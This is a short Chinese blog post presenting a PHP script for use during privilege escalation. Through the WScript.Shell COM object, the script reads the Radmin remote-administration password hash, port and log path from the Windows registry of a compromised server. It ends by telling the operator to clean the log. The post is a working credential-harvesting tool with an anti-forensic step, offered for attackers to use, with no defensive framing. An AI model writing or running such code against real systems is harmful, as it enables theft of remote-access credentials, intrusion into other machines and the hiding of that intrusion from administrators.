PHP读Radmin密码
- 发表于
- PHP
搞提权的时候会需要,利用php文件读取注册表里的radmin密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
<?php $shell = new COM("WScript.Shell") or die("This thing requires Windows Scripting Host"); $rootkey = "HKEY_LOCAL_MACHINE\\SYSTEM\RAdmin\\v2.0\\Server\\Parameters\\"; $Parameter = "Parameter"; $Port = "Port"; $logpath = "LogFilePath"; $myparam = $shell->RegRead($rootkey.$Parameter); $myport = $shell->RegRead($rootkey.$Port); $path = $shell->RegRead($rootkey.$logpath); echo "radmin hash is:"; foreach($myparam as $a){ echo dechex($a); } echo "<br>"; echo "radmin port is :".hexdec(dechex($myport[1]).dechex($myport[0]))."<br>"; echo "radmin log path is:$path<br>"; echo "please clean the log" ?> |
原文连接:PHP读Radmin密码
所有媒体,可在保留署名、
原文连接
的情况下转载,若非则不得使用我方内容。